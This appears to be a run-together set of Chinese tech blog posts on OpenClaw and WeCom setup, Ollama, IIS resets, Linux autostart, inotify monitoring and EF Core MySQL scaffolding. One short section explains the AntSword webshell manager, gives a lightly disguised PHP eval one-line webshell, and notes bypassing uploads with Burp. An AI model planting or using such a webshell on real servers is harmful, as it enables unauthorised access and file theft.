明明已登录 clawhub.ai 网站,但是 clawhub login 的时候仍然提示:
CLI login
Missing state.
Run the CLI again to start a fresh login.
解决办法:
把 PowerShell 中的那个网址复制出来,在浏览器上打开即可。网址格式类似:
https://clawhub.ai/cli/auth?redirect_uri=http%3A%2F%2F127.0.0.1%3A64172%2Fcallback&label_b64=******&state=******我来为你整理 Windows 本地部署 OpenClaw 并通过长连接方式接入企业微信的完整步骤:
前置条件
已安装企业微信最新版客户端
已安装 OpenClaw(Node.js 版本需 ≥ 22.0)
管理员权限的企业微信账号(否则看不到 API 模式选项)
第一步:在企业微信创建长连接机器人
打开企业微信客户端 → 工作台 → 智能机器人 → 创建机器人
点击底部小字 "如需使用自有系统获取成员与机器人的聊天并输出回复,可切换至 API 模式创建"
选择 「长连接」 方式(不要选 Webhook 回调模式)
复制保存生成的 Bot ID 和 Secret(后续需要用到)
先不要点击保存,保持页面打开,等完成 OpenClaw 配对后再保存
第二步:Windows 本地安装企微插件
打开 PowerShell 或 命令提示符,依次执行以下命令:
1. 安装企业微信插件
openclaw plugins install @wecom/wecom-openclaw-plugin如果安装失败,可尝试备用命令: openclaw plugins install @tencent/openclaw-wecom
2. 重启 OpenClaw 网关
openclaw gateway start重要:这个窗口不能关闭,关闭后机器人会掉线。需要再新开一个终端窗口执行后续命令。
3. 添加企业微信渠道
在新开的终端窗口执行:
openclaw channels add按提示操作:
用方向键选择 企业微信(WeCom) → 回车
粘贴输入 Bot ID → 回车
粘贴输入 Secret → 回车
选择 Finished/Done 完成基础配置
配对方式选择 Pairing
第三步:完成配对授权
1. 回到企业微信,找到刚创建的机器人,发送任意消息(如"你好")
2. 机器人会自动回复一条配对码消息(包含授权命令)
3. 复制消息最后一行的配对码
4. 在终端中执行配对命令:
openclaw pairing approve openclaw-wecom 你的配对码5. 提示"授权成功"即完成配对
第四步:保存并启用机器人
1. 回到企业微信机器人配置页面,点击 保存并创建
2. 现在可以在企业微信中与机器人正常对话了
长连接 vs 回调模式的优势
| 特性 | 长连接模式 | 传统回调模式 |
|---|---|---|
| 公网IP/域名 | ❌不需要 | ✅必须需要 |
| 内网穿透 | ❌不需要 | ✅必须配置 |
| 消息加解密 | ❌无需处理 | ✅需要处理 |
| 稳定性 | 高(无回调失败问题) | 低(经常回调失败) |
| 主动推送 | ✅支持 | ✅支持 |
常见问题
| 问题 | 解决方案 |
|---|---|
| 没有 API 模式选项 | 确认你是企业微信管理员,普通成员看不到该选项 |
| 插件安装失败 | 检查网络连接,或尝试切换 npm 镜像源: npm config set registry https://registry.npmmirror.com/ |
| 配对码无法获取 | 确认选择了 API 模式和长连接,重启 OpenClaw 后重试 |
| 机器人不回复 | 检查网关窗口是否保持运行,重新执行配对命令 |
| 需要 7×24 小时在线 | 建议部署到云服务器,本地关机后机器人会离线 |
命令速查表
# 安装插件
openclaw plugins install @wecom/wecom-openclaw-plugin
# 启动网关(窗口不能关)
openclaw gateway start
# 添加渠道
openclaw channels add
# 配对授权
openclaw pairing approve openclaw-wecom 【配对码】
# 重启服务
openclaw gateway restart
# 查看状态
openclaw channels status配置完成后,你就可以在企业微信中与 OpenClaw 对话了。如果需要让个人微信也能使用,可以在企业微信后台 "我的企业" → "微信插件" 中生成二维码,用个人微信扫码关注企业即可。
一、安装 Ollama
从官网下载安装 Ollama。
查看版本号:
ollama --version二、在 shell 中安装和运行模型
在 Models 中选择一个你想部署的模型,复制安装命令,并在终端中执行。
官方建议:应该至少有 8 GB 的 RAM 来运行 7b 版本,16 GB 的 RAM 来运行 13b 版本,32 GB 的 RAM 来运行 33b 版本。
本文以 deepseek-r1:7b 为例。
下载模型
ollama pull deepseek-r1:7bTip: 下载即将完成时速度可能会变得非常慢,只要按 Ctrl+C,再重新执行一次命令,就会继续正常下载。
显示模型信息
ollama show deepseek-r1:7b运行模型(一次性响应)
ollama run deepseek-r1:7b "写一首诗"运行模型(进入聊天模式)
ollama run deepseek-r1:7b结束当前会话
/bye列出所有模型
ollama list列出当前加载的模型
ollama ps停止当前正在运行的模型
ollama stop deepseek-r1:7b删除一个模型
ollama rm deepseek-r1:7b三、使用 REST API 调用模型
修改端口
ollama serve --port 11434/api/generate 接口:生成一次性响应
curl http://localhost:11434/api/generate -d '{
"model": "deepseek-r1:7b",
"prompt":"为什么天空是蓝色的?"
}'/api/chat 接口:与模型聊天
curl http://localhost:11434/api/chat -d '{
"model": "deepseek-r1:7b",
"messages": [
{ "role": "user", "content": "你好呀!" }
]
}'四、在 .NET 中调用
1、直接 HTTP 调用(基础方案)
创建 HttpClient,使用 PostAsJsonAsync 请求,使用 ReadFromJsonAsync 读取结果。
2、使用 OllamaSharp 库(推荐方案)
创建 OllamaApiClient,使用 SelectedModel 设置模型,使用 GenerateAsync 获得结果。或创建对话 ollama.Chat(),并 Send 内容。
3、.NET Aspire 集成(企业级方案)
适合微服务架构,结合容器化部署。
“OllamaSharp 库”和“.NET Aspire 集成”两种方案怎么选?
OllamaSharp 库:定位轻量级模型交互 SDK,适用于独立应用、微服务中的 AI 组件等场景,技术复度低,支持模型对话/生成/管理、流式响应、多模态支持,需自行实现监控、熔断。
.NET Aspire 集成:定位企业级云原生 AI 服务编排框架,适用于多服务协同的分布式系统,技术复度高,支持服务编排、健康检查、弹性伸缩、混合云部署,内置可观测性仪表盘、自动故障转移。
决策建议:初创项目用 OllamaSharp 快速试错,用户量破千后通过 Aspire 重构。两者并非互斥,可在 Aspire 中封装 OllamaSharp 客户端,兼顾灵活性与运维能力。
命令提示符
打开记事本,粘贴下方命令,保存为 .bat 文件
@echo off iisreset pause命令提示符(管理员)
打开记事本,粘贴下方命令,保存为 .bat 文件
@echo off if not "%1"=="admin" (powershell start -verb runas '%0' admin & exit) iisreset pausePowerShell
创建一个快捷方式,目标为
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -Command "Start-Process PowerShell -ArgumentList 'iisreset' -Verb RunAs"
中国蚁剑
https://github.com/AntSwordProject
https://github.com/AntSwordProject/AntSword-Loader
http://t.zoukankan.com/liang-chen-p-14181806.html
使用说明:
下载 AntSword-Loader 和 antSword 并解压;
打开 AntSword.exe,初始化时选择 antSword 目录;
右键“添加数据”,填 URL,选择连接类型,以 PHP 为例,服务器上放置一个 PHP 文件,格式如:
<?php @ev删除这七个汉字al($_POST['value']); ?>
那么,“连接密码”就填 POST 的参数名 value。
添加完成,双击可打开树状菜单,显示服务器上所有有权限的文件。
Burp:篡改请求(譬如上传图片时将文件名改为.php,并添加shell脚本)
https://portswigger.net/burp
使用方法:https://zhuanlan.zhihu.com/p/537053564
一句话木马:https://www.icode9.com/content-4-1081174.html
Linux 设置服务开机自动启动的方式有好多种,这里介绍一下通过 chkconfig 命令添加脚本为开机自动启动的方法。
编写脚本 ossftp(这里以开机启动 ossftp 服务为例),脚本内容如下:
#!/bin/sh #chkconfig: 2345 80 90 #description: 开机自动启动的脚本程序 # 开启 ossftp 服务 /root/ossftp-1.2.0-linux-mac/start.sh &脚本第一行 “#!/bin/sh” 告诉系统使用的 shell;
脚本第二行 “#chkconfig: 2345 80 90” 表示在 2/3/4/5 运行级别启动,启动序号(S80),关闭序号(K90);
脚本第三行 表示的是服务的描述信息;
要执行的文件(示例中的 /root/ossftp-1.2.0-linux-mac/start.sh)必须设置“可执行”权限,命令结尾的“&”可使进程持续。
注意: 第二行和第三行必写,否则会出现如“服务 ossftp 不支持 chkconfig”这样的错误。
将写好的 ossftp 脚本移动到 /etc/rc.d/init.d/ 目录下

给脚本赋可执行权限
chmod +x /etc/rc.d/init.d/ossftp添加脚本到开机自动启动项目中
chkconfig --add ossftp chkconfig ossftp on执行命令“chkconfig --list”可列出开机启动的服务及当前的状态。

到这里就设置完成了,我们只需要重启一下我们的服务器,就能看到我们配置的 ossftp 服务已经可以开机自动启动了。
本文使用 Oracle 官方提供的 MySql.EntityFrameworkCore,如使用 Pomelo.EntityFrameworkCore.MySql 请移步。
MySql.EntityFrameworkCore 是 MySql.Data.EntityFrameworkCore 的升级版
本文以 Visual Studio 2019、ASP.NET Core 5.0 开发环境为例。
新建 ASP.NET Core Web 应用程序。
安装 NuGet 包:
MySql.EntityFrameworkCore
Microsoft.EntityFrameworkCore.Design

根据已有数据库创建数据模型。在 NuGet 的程序包管理(Package Manager)控制台中(PowerShell)执行命令:
Scaffold-DbContext "server=数据库服务器;port=3306;user=数据库用户名;password=数据库密码;database=数据库名" MySql.EntityFrameworkCore -OutputDir Data -f.Net Core CLi:
dotnet ef dbcontext scaffold "server=数据库服务器;port=3306;user=数据库用户名;password=数据库密码;database=数据库名" MySql.EntityFrameworkCore -o Data -f搞定。
注:开发环境和生产环境都不需要安装 Connector/NET,只需要安装 ASP.NET Core。
补充:其它数据库提供程序请参考:https://docs.microsoft.com/zh-cn/ef/core/providers/
更多高级用法请参考官方文档。
本文使用 Oracle 官方提供的 MySql.Data.EntityFrameworkCore,如使用 Pomelo.EntityFrameworkCore.MySql 请移步。
对比 MySql.Data.EntityFrameworkCore 与 Pomelo.EntityFrameworkCore.MySql
在 ASP.NET Core 5.0 中使用 MySql.EntityFrameworkCore
本文以 Visual Studio 2019、ASP.NET Core 3.1 开发环境为例。
新建 ASP.NET Core Web 应用程序。
安装 NuGet 包:
MySql.Data.EntityFrameworkCore
Microsoft.EntityFrameworkCore.Design

如果使用 EF Core 2.0 还需安装:Microsoft.EntityFrameworkCore.Tools
根据已有数据库创建数据模型。在 NuGet 的程序包管理(Package Manager)控制台中(PowerShell)执行命令:
Scaffold-DbContext "server=数据库服务器;port=3306;user=数据库用户名;password=数据库密码;database=数据库名" MySql.Data.EntityFrameworkCore -OutputDir Data -f.Net Core CLi:
dotnet ef dbcontext scaffold "server=数据库服务器;port=3306;user=数据库用户名;password=数据库密码;database=数据库名" MySql.Data.EntityFrameworkCore -o Data -f搞定。
注:开发环境和生产环境都不需要安装 Connector/NET,只需要安装 ASP.NET Core。
补充:其它数据库提供程序请参考:https://docs.microsoft.com/zh-cn/ef/core/providers/
更多高级用法请参考官方文档。
本文适用于 CentOS(Linux),Window 系统请移步:https://xoyozo.net/Blog/Details/FileSystemWatcher
安装
参照官方说明:https://github.com/inotify-tools/inotify-tools/wiki
以 CentOS 为例:
安装 EPEL :
yum install -y epel-release && yum update
安装 inotify-tools:
yum install inotify-tools
在 CentOS-7 中
yum --enablerepo=epel install inotify-tools
v3.14-8.el7.×86_64 as of 4-18-2018
配置
创建 Shell 脚本文件:
#!/bin/bash
inotifywait -mrq -e modify,attrib,move,create,delete /要监视的目录 | while read dir event file;
do
curl -d "df=${dir}${file}&ev=${event}" https://xxx.xxx.xxx/api/inotify/
done
并将该文件设置为可执行:chmod +x xxx.sh
注:上述示例将对文件的部分操作事件信息传递到远程接口。inotifywait 与 curl 的用法请自行百度。
如果需要忽略部分文件路径,可以使用正则表达式进行过滤,例:
#!/bin/bash
inotifywait -mrq -e modify,attrib,move,create,delete /要监视的目录 | while read dir event file;
do
df=${dir}${file};
if [[ ! $df =~ ^/www/wwwroot/[0-9a-z]+.xxx.com/[0-9a-zA-Z]+/Runtime/Cache/[0-9a-zA-Z]+/[0-9a-f]{32}.php$
&& ! $df =~ ^/www/wwwroot/[0-9a-z]+.xxx.com/[0-9a-zA-Z]+/Runtime/Logs/[0-9a-zA-Z]+/[0-9]{2}_[0-9]{2}_[0-9]{2}.log$
]]; then
curl -d "df=${df}&ev=${event}" https://xxx.xxx.xxx/api/inotify/
else
echo "Ignored: $df"
fi
done
注意:bash 中使用 [[ string =~ regex ]] 表达式进行正则匹配,“!”取反,“&&”为且,书写时不要吝啬使用空格,否则程序可能不会按预期运行。
执行
先直接执行 sh 命令,排查一些错误。
Failed to watch /www/wwwroot; upper limit on inotify watches reached!
Please increase the amount of inotify watches allowed per user via `/proc/sys/fs/inotify/max_user_watches'.
因被监视的目录中文件数超过默认值 8192 提示失败,更改该值即可。
echo 8192000 > /proc/sys/fs/inotify/max_user_watches
设置开机自动运行,参:https://xoyozo.net/Blog/Details/linux-init-d。
本文使用 Pomelo 提供的 Pomelo.EntityFrameworkCore.MySql,如使用 MySql.Data.EntityFrameworkCore 请移步。
对比 MySql.Data.EntityFrameworkCore 与 Pomelo.EntityFrameworkCore.MySql
本文以 Visual Studio 2019、ASP.NET Core 3.0 开发环境为例。
新建 ASP.NET Core Web 应用程序。
安装 NuGet 包:
Microsoft.EntityFrameworkCore.Tools
Pomelo.EntityFrameworkCore.MySql(3.0.0 预发行版以上)

根据已有数据库创建数据模型。在 NuGet 的程序包管理(Package Manager)控制台中(PowerShell)执行命令:
Scaffold-DbContext "server=数据库服务器;uid=数据库用户名;pwd=数据库密码;database=数据库名;" Pomelo.EntityFrameworkCore.MySql -OutputDir Data -Force.Net Core CLi:
dotnet ef dbcontext scaffold "server=数据库服务器;uid=数据库用户名;pwd=数据库密码;database=数据库名;" Pomelo.EntityFrameworkCore.MySql -o Data -f搞定。
补充:其它数据库提供程序请参考:https://docs.microsoft.com/zh-cn/ef/core/providers/
代码参数说明:
-OutputDir (-o) *** 实体文件所存放的文件目录
-ContextDir *** DbContext文件存放的目录
-Context *** DbContext文件名
-Schemas *** 需要生成实体数据的数据表所在的模式
-Tables(-t) *** 需要生成实体数据的数据表的集合
-DataAnnotations
-UseDatabaseNames 直接使用数据库中的表名和列名(某些版本不支持)
-Force (-f) 强制执行,重写已经存在的实体文件
更多高级用法请参考官方文档。




